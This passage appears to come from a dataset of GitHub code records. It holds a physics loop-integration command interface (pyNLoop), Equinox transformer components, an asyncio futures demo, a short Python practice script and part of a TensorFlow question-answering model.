be a list of length 2, not %d\"%len(range))\n options['range'] = range\n\n elif key=='items_to_plot':\n try:\n comps = tuple(eval(value))\n except:\n raise pyNLoopInvalidCmd(\"Cannot parse items to plot: %s\"%value)\n options['items_to_plot'] = comps\n\n elif key in ['loop_momenta_generator_class', 'lmgc']:\n try:\n lmgc_name = eval(value)\n except:\n raise pyNLoopInvalidCmd(\"Cannot parse loop momentum generator class specification: %s\"%str(value))\n options['loop_momenta_generator'] = self.parse_lmgc_specification(lmgc_name)\n\n elif key in ['sqrt_s', 'phi']:\n try:\n parsed_float = float(value)\n except ValueError:\n raise pyNLoopInvalidCmd('Cannot parse specified %s float: %s'%(key,value))\n options[key] = parsed_float\n\n elif key in ['test_timing']:\n if value is None:\n options[key] = 'deformation'\n elif value.lower() in ['integrand','deformation']:\n options[key] = value.lower()\n elif value.lower() in ['f','false']:\n options[key] = False\n else:\n raise pyNLoopInvalidCmd(\"Option 'test_timing' can only take values in ['integrand','deformation','False'], not %s\"%value)\n\n elif key in ['force','log_axis','test','keep_PS_point_fixed','show_plot','integration_space',\n 'cpp_integrand','compute_analytic_result','compute_numerical_result']:\n parsed_bool = (value is None) or (value.upper() in ['T','TRUE','ON','Y'])\n options[key] = parsed_bool\n\n elif key in ['output_folder','save_plot']:\n if os.path.isabs(value):\n options[key] = value\n else:\n options[key] = pjoin(MG5DIR,value)\n\n elif key in ['normalization']:\n if value is None:\n value = 'distance_real'\n _normalization_modes_supported = ['distance_real',]\n if value not in _normalization_modes_supported:\n raise pyNLoopInvalidCmd('Normalization modes supported are %s, not %s'%(_normalization_modes_supported, value))\n options['normalization'] = value\n\n elif key == 'phase_computed':\n if value.upper() in ['REAL', 'R', 'RE']:\n options[key] = 'Real'\n elif value.upper() in ['IMAGINARY', 'I', 'IM']:\n options[key] = 'Imaginary'\n elif value.upper() in ['ALL', 'A']:\n options[key] = 'All'\n else:\n raise pyNLoopInvalidCmd(\"The phase computed can only be 'Real' or 'Imaginary'.\")\n\n else:\n raise pyNLoopInvalidCmd(\"Unrecognized option for command plot deformation: %s\"%key+\n \"\\nAvailable commands are: %s\"%(' '.join('--%s'%k for k in options)))\n\n return new_args, options\n\n def parse_plot_deformation_options(self, args):\n \"\"\" Parsing arguments/options passed to the command plot_deformation.\"\"\"\n\n options = { \n 'seed' : None,\n 'sqrt_s' : 1000.0,\n 'cpp_integrand' : False,\n 'verbosity' : 1,\n 'output_folder' : pjoin(MG5DIR,'MyPyNLoop_output'),\n 'force' : False,\n 'phase_computed' : 'Real',\n 'reference_vector' : 'random',\n 'offset_vector' : 'random',\n 'loop_momenta_generators' : [self.parse_lmgc_specification('default'),],\n 'n_points' : 100,\n 'items_to_plot' : (0,1,2,3,'distance','poles'),\n 'range' : (0.,1.),\n 'normalization' : 'None',\n 'log_axis' : False,\n 'channel' : None,\n 'integration_space' : False,\n 'scale_progression' : 'linear',\n # When 'test' is on, a battery of tests is performed instead of the plotting of the deformation\n 'test' : False,\n 'test_timing' : None,\n 'keep_PS_point_fixed' : False,\n 'show_plot' : True,\n 'save_plot' : ''\n }\n \n # First combine all value of the options (starting with '--') separated by a space\n opt_args = []\n new_args = []\n for arg in args:\n if arg.startswith('--'):\n opt_args.append(arg)\n elif len(opt_args)>0:\n opt_args[-1] += ' %s'%arg\n else:\n new_args.append(arg)\n \n for arg in opt_args:\n try:\n key, value = arg.split('=')\n except:\n key, value = arg, None\n key = key[2:]\n\n if key in ['seed','verbosity','nb_CPU_cores', 'n_points', 'channel']:\n try:\n parsed_int = int(value)\n except ValueError:\n raise pyNLoopInvalidCmd('Cannot parse specified %s integer: %s'%(key,value))\n options[key] = parsed_int\n\n elif key in ['reference_vector', 'offset_vector']:\n if value.lower() in ['random','r']:\n options['reference_vector'] = 'random'\n else:\n try:\n ref_vec = tuple(eval(value))\n except:\n raise pyNLoopInvalidCmd(\"Cannot parse reference vector specification: %s\"%str(value))\n if len(ref_vec)!=4:\n raise pyNLoopInvalidCmd(\"Reference vector must be of length 4, not %d\"%len(ref_vec))\n options[key] = vectors.LorentzVector(ref_vec)\n\n elif key=='scale_progression':\n if value not in ['linear','exponential']:\n raise pyNLoopInvalidCmd(\"The values for the option 'scale_progression' can only be in \"+\n \"['linear','exponential'], not %s.\" %value)\n else:\n options[key] = value\n\n elif key=='range':\n try:\n range = tuple(eval(value))\n except:\n raise pyNLoopInvalidCmd(\"Cannot parse reference vector specification: %s\"%str(value))\n if len(range)!=2:\n raise pyNLoopInvalidCmd(\"Range must be a list of length 2, not %d\"%len(range))\n options['range'] = range\n\n elif key=='items_to_plot':\n try:\n comps = tuple(eval(value))\n except:\n raise pyNLoopInvalidCmd(\"Cannot parse items to plot: %s\"%value)\n options['items_to_plot'] = comps\n\n elif key in ['loop_momenta_generator_classes', 'lmgc']:\n try:\n lmgc_names = list(eval(value))\n except:\n raise pyNLoopInvalidCmd(\"Cannot parse loop momentum generator class specification: %s\"%str(value))\n lmgcs = []\n for lmgc_specification in lmgc_names:\n lmgcs.append(self.parse_lmgc_specification(lmgc_specification))\n options['loop_momenta_generators'] = lmgcs\n\n elif key in ['sqrt_s']:\n try:\n parsed_float = float(value)\n except ValueError:\n raise pyNLoopInvalidCmd('Cannot parse specified %s float: %s'%(key,value))\n options[key] = parsed_float\n\n elif key in ['test_timing']:\n if value is None:\n options[key] = 'deformation'\n elif value.lower() in ['integrand','deformation']:\n options[key] = value.lower()\n elif value.lower() in ['f','false']:\n options[key] = False\n else:\n raise pyNLoopInvalidCmd(\"Option 'test_timing' can only take values in ['integrand','deformation','False'], not %s\"%value)\n\n elif key in ['force','log_axis','test','keep_PS_point_fixed','show_plot','integration_space','cpp_integrand']:\n parsed_bool = (value is None) or (value.upper() in ['T','TRUE','ON','Y'])\n options[key] = parsed_bool\n\n elif key in ['output_folder','save_plot']:\n if os.path.isabs(value):\n options[key] = value\n else:\n options[key] = pjoin(MG5DIR,value)\n\n elif key in ['normalization']:\n if value is None:\n value = 'distance_real'\n _normalization_modes_supported = ['distance_real',]\n if value not in _normalization_modes_supported:\n raise pyNLoopInvalidCmd('Normalization modes supported are %s, not %s'%(_normalization_modes_supported, value))\n options['normalization'] = value\n\n elif key == 'phase_computed':\n if value.upper() in ['REAL', 'R', 'RE']:\n options[key] = 'Real'\n elif value.upper() in ['IMAGINARY', 'I', 'IM']:\n options[key] = 'Imaginary'\n elif value.upper() in ['ALL', 'A']:\n options[key] = 'All'\n else:\n raise pyNLoopInvalidCmd(\"The phase computed can only be 'Real' or 'Imaginary'.\")\n\n else:\n raise pyNLoopInvalidCmd(\"Unrecognized option for command plot deformation: %s\"%key+\n \"\\nAvailable commands are: %s\"%(' '.join('--%s'%k for k in options)))\n\n return new_args, options\n\n def parse_integrate_loop_options(self, args):\n \"\"\" Parsing arguments/options passed to the command integrate_loop.\"\"\"\n\n options = {\n 'PS_point': 'random',\n 'seed': None,\n 'sqrt_s': 1000.0,\n 'channel': None,\n 'cpp_integrand': False,\n 'verbosity': 1,\n 'nb_CPU_cores': None,\n 'compute_analytic_result': True,\n 'phase_computed': 'Real',\n 'output_folder': pjoin(MG5DIR, 'MyPyNLoop_output'),\n 'force': False,\n 'loop_momenta_generator': self.parse_lmgc_specification('default'),\n }\n\n # First combine all value of the options (starting with '--') separated by a space\n opt_args = []\n new_args = []\n for arg in args:\n if arg.startswith('--'):\n opt_args.append(arg)\n elif len(opt_args) > 0:\n opt_args[-1] += ' %s' % arg\n else:\n new_args.append(arg)\n\n for arg in opt_args:\n try:\n key, value = arg.split('=')\n except:\n key, value = arg, None\n key = key[2:]\n\n if key == 'PS_point':\n if value not in ['random', ]:\n raise pyNLoopInvalidCmd('For now, pyNLoops only support the ' +\n 'specification of a random PS point')\n options[key] = value\n\n elif key in ['seed', 'batch_size', 'verbosity', 'nb_CPU_cores', 'channel',\n 'survey_n_iterations', 'survey_n_points', 'refine_n_iterations', 'refine_n_points']:\n try:\n parsed_int = int(value)\n except ValueError:\n raise pyNLoopInvalidCmd('Cannot parse specified %s integer: %s' % (key, value))\n options[key] = parsed_int\n\n elif key in ['loop_momenta_generator_class','lmgc']:\n options['loop_momenta_generator'] = self.parse_lmgc_specification(eval(value))\n elif key in ['sqrt_s', 'target_accuracy']:\n try:\n parsed_float = float(value)\n except ValueError:\n raise pyNLoopInvalidCmd('Cannot parse specified %s float: %s' % (key, value))\n options[key] = parsed_float\n\n elif key in ['force', 'cpp_integrand']:\n parsed_bool = (value is None) or (value.upper() in ['T', 'TRUE', 'ON', 'Y'])\n options[key] = parsed_bool\n\n elif key in ['output_folder']:\n if os.path.isabs(value):\n options[key] = value\n else:\n options[key] = pjoin(MG5DIR, value)\n\n elif key == 'phase_computed':\n if value.upper() in ['REAL', 'R', 'RE']:\n options[key] = 'Real'\n elif value.upper() in ['IMAGINARY', 'I', 'IM']:\n options[key] = 'Imaginary'\n elif value.upper() in ['ALL', 'A']:\n options[key] = 'All'\n else:\n raise pyNLoopInvalidCmd(\"The phase computed can only be 'Real' or 'Imaginary'.\")\n\n else:\n raise pyNLoopInvalidCmd(\"Unrecognized option for command integrated loop: %s\" % key +\n \"\\nAvailable commands are: %s\" % (' '.join('--%s' % k for k in options)))\n\n return new_args, options\n\n def parse_lmgc_specification(self, specs):\n \"\"\" Given a specification of the loop momenta generator class with the format:\n\n <loop_momenta_generator_class_name>@{'option_a' : value_for_option_a, 'option_b' : value_for_option_b, etc... }\n\n returns a tuple (loop_momenta_generator_class, options_to_pass_during_instantiation)\n \"\"\"\n\n # Hyperparameters of the deformation\n default_loop_momenta_generator_options = {\n 'conformal_mapping_choice' : 'log',\n 'M1' : 0.035,\n 'M2' : 0.7,\n 'M3' : 0.035,\n 'M4' : 0.035,\n 'Gamma1' : 0.7,\n 'Gamma2' : 0.008,\n 'Esoft' : 0.003,\n }\n\n if specs == 'default':\n return None, default_loop_momenta_generator_options\n else:\n try:\n lmgc_name, user_lmgc_options = specs.split('@')\n except ValueError:\n lmgc_name = specs\n user_lmgc_options = '{}'\n\n try:\n user_lmgc_options = eval(user_lmgc_options)\n except:\n raise pyNLoopInvalidCmd(\"Loop momenta generator options %s could not be parsed.\" % user_lmgc_options)\n try:\n lmgc_class = eval('loop_momenta_generator.%s' % lmgc_name)\n except:\n raise pyNLoopInvalidCmd(\"Loop momentum generator class '%s' not recognized.\" % lmgc_name)\n lmgc_options = dict(default_loop_momenta_generator_options)\n lmgc_options.update(user_lmgc_options)\n return (lmgc_class, lmgc_options)\n\n def do_integrate_loop(self, line):\n \"\"\" Command for starting the numerical integration of a loop Feynman diagram.\"\"\"\n \n args = self.split_arg(line)\n args, options = self.parse_integrate_loop_options(args)\n \n # For debugging you can easily print out the options as follows:\n #misc.sprint(options)\n \n if options['seed']:\n random.seed(options['seed'])\n\n chosen_topology_name = args[0]\n if chosen_topology_name not in self._hardcoded_topologies:\n raise InvalidCmd('For now, pyNLoop only support the specification of the'+\n ' following hardcoded topologies: %s'%(','.join(self._hardcoded_topologies.keys())))\n \n chosen_topology = self._hardcoded_topologies[chosen_topology_name]\n \n # Now generate the external momenta randomly, as this is the only mode we support\n # for now.\n phase_space_generator = phase_space_generators.FlatInvertiblePhasespace(\n chosen_topology['masses'][:2], chosen_topology['masses'][2:],\n [options['sqrt_s']/2.,options['sqrt_s']/2.],\n beam_types=(1,1)\n )\n \n # Specifying None to get a random PS point\n random_PS_point, wgt, x1, x2 = phase_space_generator.get_PS_point(None)\n # Use the dictionary representation of the PS Point\n random_PS_point = random_PS_point.to_dict()\n\n # For loop calculations, it customary to consider all legs outgoing, so we must\n # flip the initial states directions.\n for i in random_PS_point:\n if i > 2:\n continue\n random_PS_point[i] = -random_PS_point[i]\n\n channels = [0,1,2] if options['channel'] is None else [options['channel'],]\n\n # For debugging you can easily print out the chosen PS point as follows:\n# misc.sprint(str(random_PS_point))\n n_loop_integrand = chosen_topology['class'](\n n_loops = chosen_topology['n_loops'],\n external_momenta = random_PS_point,\n # Data-structure for specifying a topology to be determined\n topology = chosen_topology_name,\n loop_momenta_generator_class = options['loop_momenta_generator'][0],\n loop_momenta_generator_options = options['loop_momenta_generator'][1],\n **options\n )\n \n all_integrands = [n_loop_integrand,]+n_loop_integrand.get_integrated_counterterms()\n\n all_integrands_amplitude = sympy.sympify('0')\n all_integrands_error = sympy.sympify('0')\n\n res_summary = None\n for i_integrand, loop_integrand in enumerate(all_integrands):\n \n logger.info(\"Processing integrand %s ...\"%loop_integrand.nice_string())\n\n\n # Initialize a hook to OneLOop in order to gather the analytic results\n analytic_results_available = False\n if options['compute_analytic_result']:\n loop_integrand.setup_analytic_computation(self)\n if not loop_integrand.is_analytic_result_available():\n logger.warning('AVH OneLOop library could not be properly loaded. Analytic results will not be available.')\n analytic_results_available = False\n else:\n analytic_results_available = True\n \n # Output low-level integrands code if necessary.\n # For integrands beyond the first, always force.\n loop_integrand.output(\n options['output_folder'], verbosity=options['verbosity'], \n force = (i_integrand>0 or options['force']) )\n \n if i_integrand==0:\n res_summary = open(pjoin(options['output_folder'],'result.dat'),'w')\n res_summary_lines = ['PS point considered:']\n res_summary_lines.append('%-3s %s'%('#', ' '.join('%-30s'%comp for comp in ['E','p_x','p_y','p_z'])))\n for i_leg, momentum in random_PS_point.items():\n res_summary_lines.append('%-3d %s'%(i_leg, ' '.join('%-30.16e'%comp for comp in momentum)))\n res_summary_lines.append('')\n res_summary_lines.append(('%-30s'*(n_loop_integrand.n_loops*4+3))%tuple(\n ['','O(eps^0) Re','O(eps^0) Im']+sum([['O(eps^-%d) Re'%eps_index,'O(eps^-%d) Im'%eps_index] \n for eps_index in range(1,n_loop_integrand.n_loops*2+1)],[])))\n res_summary_lines.append('')\n res_summary.write('\\n'.join(res_summary_lines))\n\n # Choose the integrator\n if self.pyNLoop_options['integrator'] == 'auto':\n integrator_name = loop_integrand._supported_integrators[0]\n else:\n if self.pyNLoop_options['integrator'] not in loop_integrand._supported_integrators:\n integrator_name = loop_integrand._supported_integrators[0]\n logger.warning(\n \"Specified integrator '%s' is not supported by integrand '%s'. Using '%s' instead.\"%\n (self.pyNLoop_options['integrator'], loop_integrand.nice_string(), integrator_name))\n else:\n integrator_name = self.pyNLoop_options['integrator']\n\n # Now set the integrator options\n integrator_options = dict(self.integrator_options)\n for opt, value in options.items():\n if opt in integrator_options:\n integrator_options[opt] = value\n integrator_options['cluster'] = self.get_cluster(force_nb_cpu_cores=int(self.options['nb_core']))\n integrator_options['pySecDec_path'] = self.pyNLoop_options['pySecDec_path']\n if integrator_name=='Vegas3':\n if options['phase_computed']=='All':\n logger.warning('Vegas3 integrator cannot simultaneously integrate the real and imaginary part of'+\n \" the loop for now. The user's choice 'All' for 'phase_computed' is reverted to 'Real'.\")\n loop_integrand.phase_computed = 'Real'\n options['phase_computed'] = 'Real'\n integrator = Vegas3Integrator(loop_integrand, **integrator_options)\n elif integrator_name=='pySecDec':\n integrator = pysecdec_integrator.pySecDecIntegrator(loop_integrand, **integrator_options)\n elif integrator_name=='Cuba':\n integrator = pyCubaIntegrator(loop_integrand, **integrator_options)\n else:\n raise pyNLoopInterfaceError(\"Integrator '%s' not implemented.\"%integrator_name)\n \n # We are now finally ready to integrate :)\n logger.info(\"=\"*150) \n logger.info('{:^150}'.format(\"Starting integration of %s with integrator %s, lay down and enjoy...\"%(\n loop_integrand.nice_string(), integrator.get_name())))\n logger.info(\"=\"*150)\n \n amplitude_summed = 0\n error_summed = 0\n for channel in channels:\n # Assign the new kinematic configuration\n loop_integrand.assign_kinematic_configuration(random_PS_point, channel)\n\n amplitude, error = integrator.integrate()\n\n if options['verbosity'] > 0:\n logger.debug('Amplitude for channel {}: {} +/- {}'.format(channel, amplitude, error))\n\n amplitude_summed += amplitude\n error_summed += error**2\n\n\n error_summed = math.sqrt(error_summed)\n\n # Make sure to cast the result to a sympy expression\n amplitude, error = self.cast_result_to_sympy_expression(amplitude_summed, error_summed)\n\n\n # Now compute the analytical result for this point\n analytical_result = None\n if analytic_results_available:\n analytic_res_real, analytic_res_imag = loop_integrand.get_analytic_result(random_PS_point)\n\n if options['phase_computed'] == 'Real':\n analytical_result = analytic_res_real\n elif options['phase_computed'] == 'Imaginary':\n analytical_result = analytic_res_imag\n\n \n # Aggregate this result to existing ones\n all_integrands_amplitude += amplitude\n all_integrands_error += error\n \n run_output_path = MG5DIR\n self.print_results(loop_integrand, integrator, amplitude, error, options['phase_computed'], analytic=analytical_result, channel=options['channel'])\n\n # Write the result in 'cross_sections.dat' of the result directory\n self.dump_result_to_file(\n res_summary, loop_integrand.n_loops, amplitude, error, loop_integrand.nice_string())\n\n logger.info(\"\")\n logger.info(\"PS point considered in this run:\\n%s\" % str(random_PS_point))\n logger.info(\"\")\n if len(all_integrands)>1:\n # Now close the result summary file after having reported the aggregated results\n self.print_results(all_integrands[0], integrator,\n all_integrands_amplitude, all_integrands_error, options['phase_computed'], label='Aggregated results for phase %s' % options['phase_computed'])\n # Write the result in 'cross_sections.dat' of the result directory\n self.dump_result_to_file(res_summary, all_integrands[0].n_loops,\n all_integrands_amplitude, all_integrands_error, 'Aggregated results')\n res_summary.close()\n\n def print_results(self, loop_integrand, integrator, amplitude, error, phase, label=None, analytic=None, channel=None,):\n \"\"\" Print to screen the results for that particular amplitude evaluation and its MC error.\"\"\"\n \n if MPI_RANK==0:\n logger.info(\"=\"*150)\n if label is None:\n if channel is not None and channel > 0:\n logger.info('{:^150}'.format(\"Integral of '%s' (channel %s, %s phase) with integrator '%s':\"%(loop_integrand.nice_string(), channel, phase, integrator.get_name())))\n else:\n logger.info('{:^150}'.format(\"Integral of '%s' (%s phase) with integrator '%s':\"%(loop_integrand.nice_string(), phase, integrator.get_name())))\n else:\n logger.info('{:^150}'.format(label))\n logger.info('')\n logger.info(' '*15+'(%-56s) +/- (%-60s)'%(amplitude.coeff('eps',0), error.coeff('eps',0)))\n for eps_index in range(1,loop_integrand.n_loops*2+1):\n logger.info(' '*13+'+ (%-56s) %s +/- (%-60s) %s'%(amplitude.coeff('eps',-eps_index), \n EPSILONS[-eps_index], error.coeff('eps',-eps_index), EPSILONS[-eps_index]))\n logger.info('')\n\n if analytic is not None:\n logger.info('Analytical: (%-56s)' % analytic[0])\n for eps_index in range(1,loop_integrand.n_loops*2+1):\n logger.info(' '*15 + '(%-56s) %s' % (analytic[-eps_index], EPSILONS[-eps_index]))\n logger.info(\"=\"*150+\"\\n\")\n\n def dump_result_to_file(self, stream, n_loops, amplitude, error, title):\n \n res_summary_lines = ['contribution_name = %s'%title]\n res_summary_lines.append(('%-30s'*(n_loops*4+3))%tuple(\n ['Result', amplitude.coeff('eps',0).coeff('I',0), amplitude.coeff('eps',0).coeff('I',1) ]+\n sum([[amplitude.coeff('eps',-eps_index).coeff('I',0), amplitude.coeff('eps',-eps_index).coeff('I',1)]\n for eps_index in range(1,n_loops*2+1) ],[]) \n ))\n res_summary_lines.append(('%-30s'*(n_loops*4+3))%tuple(\n ['MC error', error.coeff('eps',0).coeff('I',0), error.coeff('eps',0).coeff('I',1) ]+\n sum([[error.coeff('eps',-eps_index).coeff('I',0), error.coeff('eps',-eps_index).coeff('I',1)]\n for eps_index in range(1,n_loops*2+1) ],[]) \n ))\n stream.write('\\n'.join(res_summary_lines))\n \n def cast_result_to_sympy_expression(self, amplitude, error):\n if isinstance(amplitude, float):\n return sympy.sympify('%.16e + 0.*I'%amplitude), sympy.sympify('%.16e + 0.*I'%error)\n elif isinstance(amplitude, tuple):\n return sympy.sympify('%.16e + %.16e*I'%amplitude), sympy.sympify('.16e + %.16e*I'%error)\n elif isinstance(amplitude, list):\n return sympy.sympify('%.16e + %.16e*I'%amplitude[0]+\n '(%.16e + %.16e*I)*eps**-1'%amplitude[1]+\n '(%.16e + %.16e*I)*eps**-2'%amplitude[2]),\\\n sympy.sympify('%.16e + %.16e*I'%error[0]+\n '(%.16e + %.16e*I)*eps**-1'%error[1]+\n '(%.16e + %.16e*I)*eps**-2'%error[2])\n else:\n return amplitude, error\n\n ######################################################################\n #\n # Example of the implementation of a trivial function 'hello_world'\n #\n ######################################################################\n\n def do_hello_world(self, line):\n \"\"\" Hello world command example.\"\"\"\n\n logger.info('Hello World: %s'%line)\n\n def help_hello_world(self, line):\n \"\"\" Hello world command example.\"\"\"\n\n logger.info('Contextual help for command hello world.')\n\n def complete_hello_world(self, text, line, begidx, endidx):\n \"\"\" Hello world command example.\"\"\"\n\n return self.list_completion(text,['something', 'else'], line)\n\n #command to change the prompt \n def preloop(self, *args, **opts):\n \"\"\"only change the prompt after calling the mother preloop command\"\"\"\n\n # The colored prompt screws up the terminal for some reason.\n #self.prompt = '\\033[92mGGVV > \\033[0m'\n self.prompt = 'pyNLoop > '\n\n # By default, load the UFO Standard Model\n logger.info(\"Loading default model for pyNLoop: sm\")\n self.exec_cmd('import model sm', printcmd=False, precmd=True)\n\n # preloop mother\n madgraph_interface.CmdExtended.preloop(self)\n","repo_name":"alphal00p/alphaloop","sub_path":"OLD/pyNLoop.py","file_name":"pyNLoop.py","file_ext":"py","file_size_in_byte":87508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36130497310","text":"\"\"\"Commonly used neural network components.\"\"\"\n\nimport jax\nimport equinox as eqx\n\n\nclass FeedForwardBlock(eqx.Module):\n \"\"\"\n A single transformer feed forward block.\n Based on https://docs.kidger.site/equinox/examples/bert/\n \"\"\"\n\n mlp: eqx.nn.Linear\n output: eqx.nn.Linear\n layernorm: eqx.nn.LayerNorm\n dropout: eqx.nn.Dropout\n\n def __init__(self, hidden_size, intermediate_size, dropout_rate, key):\n mlp_key, output_key = jax.random.split(key)\n self.mlp = eqx.nn.Linear(in_features=hidden_size, out_features=intermediate_size, key=mlp_key)\n self.output = eqx.nn.Linear(in_features=intermediate_size, out_features=hidden_size, key=output_key)\n\n self.layernorm = eqx.nn.LayerNorm(shape=hidden_size)\n self.dropout = eqx.nn.Dropout(dropout_rate)\n\n def __call__(self, inputs, enable_dropout = True, key = None):\n # Feed-forward.\n hidden = self.mlp(inputs)\n hidden = jax.nn.gelu(hidden)\n\n # Project back to input size.\n output = self.output(hidden)\n output = self.dropout(output, inference=not enable_dropout, key=key)\n\n # Residual and layer norm.\n output += inputs\n output = self.layernorm(output)\n\n return output\n\n\nclass AttentionBlock(eqx.Module):\n \"\"\"\n A single transformer attention block.\n Based on https://docs.kidger.site/equinox/examples/bert/\n \"\"\"\n\n attention: eqx.nn.MultiheadAttention\n layernorm: eqx.nn.LayerNorm\n dropout: eqx.nn.Dropout\n num_heads: int = eqx.static_field()\n\n def __init__(self, hidden_size, num_heads, dropout_rate, attention_dropout_rate, key):\n self.num_heads = num_heads\n self.attention = eqx.nn.MultiheadAttention(\n num_heads=num_heads,\n query_size=hidden_size,\n use_query_bias=True,\n use_key_bias=True,\n use_value_bias=True,\n use_output_bias=True,\n dropout_p=attention_dropout_rate,\n key=key,\n )\n self.layernorm = eqx.nn.LayerNorm(shape=hidden_size)\n self.dropout = eqx.nn.Dropout(dropout_rate)\n\n def __call__(\n self, inputs, enable_dropout = False, key: \"jax.random.PRNGKey\" = None):\n attention_key, dropout_key = (\n (None, None) if key is None else jax.random.split(key)\n )\n\n attention_output = self.attention(\n query=inputs,\n key_=inputs,\n value=inputs,\n inference=not enable_dropout,\n key=attention_key,\n )\n\n result = attention_output\n result = self.dropout(result, inference=not enable_dropout, key=dropout_key)\n result = result + inputs\n result = jax.vmap(self.layernorm)(result)\n return result\n\n\nclass TransformerLayer(eqx.Module):\n \"\"\"\n A single transformer layer.\n Based on https://docs.kidger.site/equinox/examples/bert/\n \"\"\"\n\n attention_block: AttentionBlock\n ff_block: FeedForwardBlock\n\n def __init__(self, hidden_size, intermediate_size, num_heads, dropout_rate, attention_dropout_rate, key):\n attention_key, ff_key = jax.random.split(key)\n\n self.attention_block = AttentionBlock(\n hidden_size=hidden_size,\n num_heads=num_heads,\n dropout_rate=dropout_rate,\n attention_dropout_rate=attention_dropout_rate,\n key=attention_key,\n )\n self.ff_block = FeedForwardBlock(\n hidden_size=hidden_size,\n intermediate_size=intermediate_size,\n dropout_rate=dropout_rate,\n key=ff_key,\n )\n\n def __call__(self, inputs, *, enable_dropout = False, key = None):\n attn_key, ff_key = (None, None) if key is None else jax.random.split(key)\n attention_output = self.attention_block(inputs, enable_dropout=enable_dropout, key=attn_key)\n seq_len = inputs.shape[0]\n ff_keys = None if ff_key is None else jax.random.split(ff_key, num=seq_len)\n output = jax.vmap(self.ff_block, in_axes=(0, None, 0))(\n attention_output, enable_dropout, ff_keys\n )\n return output\n","repo_name":"ogamel/adaptive_genome","sub_path":"nn/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"9704787353","text":"import asyncio\nimport sys\n\n@asyncio.coroutine\ndef sum_of_n_integers(future, n):\n\tcount = 0\n\n\tfor i in range(1, n + 1):\n\t\tcount = count + i\n\n\tyield from asyncio.sleep(4)\n\n\tfuture.set_result(\"Sum of n integers is %s\" % (count))\n\n@asyncio.coroutine\ndef factorial(future, n):\n\tcount = 1\n\n\tfor i in range(2, n + 1):\n\t\tcount *= i\n\n\tyield from asyncio.sleep(3)\n\n\tfuture.set_result(\"Factorial result is %s\" % (count))\n\ndef got_result(future):\n\tprint(future.result())\n\nn1 = int(sys.argv[1])\nn2 = int(sys.argv[2])\n\nloop = asyncio.get_event_loop()\nfuture_1 = asyncio.Future()\nfuture_2 = asyncio.Future()\n\ntasks = [\n\tsum_of_n_integers(future_1, n1),\n\tfactorial(future_2, n2)\n]\n\nfuture_1.add_done_callback(got_result)\nfuture_2.add_done_callback(got_result)\n\nloop.run_until_complete(asyncio.wait(tasks))\nloop.close()\n","repo_name":"wynnliam/parallel-programming-in-python","sub_path":"src/26_asyncio_and_futures/future_demo.py","file_name":"future_demo.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"37611866860","text":"import math\na = 6\nprint(math.sqrt(a))\n\nx = 2\nsqrt = x**0.5\nprint(\"square root of number is :\" , sqrt)\n\nx = int(input('first number :'))\nsqrt = x**0.5\nprint(\"square root of number is :\" , sqr)\n\n","repo_name":"ShubhamDubey0785/practice","sub_path":"identifier1.py","file_name":"identifier1.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31500910592","text":"# _*_ coding:utf8 _*_\nimport tensorflow as tf\nimport numpy as np\n\nimport logging\n\nlogger = logging.getLogger(\"QA-Model\")\n\n\nclass RNNEncoder(object):\n def __init__(self, hidden_size, keep_prob):\n self.hidden_size = hidden_size\n self.keep_prob = keep_prob\n # 双向rnn\n self.rnn_cell_fw = tf.nn.rnn_cell.GRUCell(self.hidden_size)\n self.rnn_cell_fw = tf.nn.rnn_cell.DropoutWrapper(self.rnn_cell_fw)\n self.rnn_cell_bw = tf.nn.rnn_cell.GRUCell(self.hidden_size)\n self.rnn_cell_bw = tf.nn.rnn_cell.DropoutWrapper(self.rnn_cell_bw)\n\n def build_graph(self, inputs, mask, scope_name):\n with tf.variable_scope(scope_name):\n inputs_len = tf.reduce_sum(mask, axis=1)\n (fw_output, bw_output), last_state = tf.nn.bidirectional_dynamic_rnn(self.rnn_cell_fw, self.rnn_cell_bw,\n inputs, inputs_len,\n dtype=tf.float32)\n output = tf.concat([fw_output, bw_output], 2)\n output = tf.nn.dropout(output, self.keep_prob)\n return output\n\n\ndef create_rnn_graph(rnn_layer_num, hidden_size, x, x_mask, scope_name, is_concat=True):\n outs = [] # 记录每一个双向 LSTM 的输出\n inputs_len = tf.reduce_sum(x_mask, axis=1)\n for i in range(rnn_layer_num):\n f_cell = tf.nn.rnn_cell.LSTMCell(hidden_size)\n f_cell = tf.nn.rnn_cell.DropoutWrapper(f_cell)\n b_cell = tf.nn.rnn_cell.LSTMCell(hidden_size)\n b_cell = tf.nn.rnn_cell.DropoutWrapper(b_cell)\n outputs, final_output_states = tf.nn.bidirectional_dynamic_rnn(f_cell, b_cell, x,\n dtype=tf.float32,\n sequence_length=inputs_len,\n scope=scope_name + '_rnn{}'.format(i))\n\n # outputs: A tuple (output_fw, output_bw)\n x = tf.concat(outputs, axis=-1) # 将前后向的输出拼接起来\n outs.append(x)\n\n if is_concat == True:\n res = tf.concat(outs, axis=-1) # 最后将每一层的输出拼接在一起\n else:\n res = outs\n return res\n\n\nclass BasicAttention(object):\n '''\n 最基本的attention,\n '''\n\n def __init__(self, keep_prob):\n self.keep_prob = keep_prob\n # self.key_vec_size = key_vec_size\n # self.value_vec_size = value_vec_size\n\n def build_graph(self, keys, values, values_mask):\n '''\n key对value进行attention,得到[M,N]的attention矩阵,然后按行进行softmask,最后再乘以value,\n :param keys: shape=[batch_size,M,H]\n :param values:shape=[batch_size,N,H]\n :param values_mask: [batch_size,N]\n :return: [batch_size,M,H]\n '''\n values_t = tf.transpose(values, perm=[0, 2, 1])\n attn_matrix = tf.matmul(keys, values_t) # [bacth_size,M,N]\n attn_matrix_mask = tf.expand_dims(values_mask, 1) # shape (batch_size, 1, N)\n _, attn_dist = masked_softmax(attn_matrix, attn_matrix_mask, 2)\n output = tf.matmul(attn_dist, values) # [batch_size,M,N]=[bacth_size,M,N] * [batch_size,N,H]\n output = tf.nn.dropout(output, self.keep_prob)\n return attn_dist, output\n\n\ndef fusion_attention(HoW_c, HoW_q, question, ques_mask, att_hidden_size):\n '''\n\n :param HoW_c: 文章的历史信息\n :param HoW_q: 问题的历史信息\n :param question: 不同 level 的问题信息\n :param ques_mask: 问题的 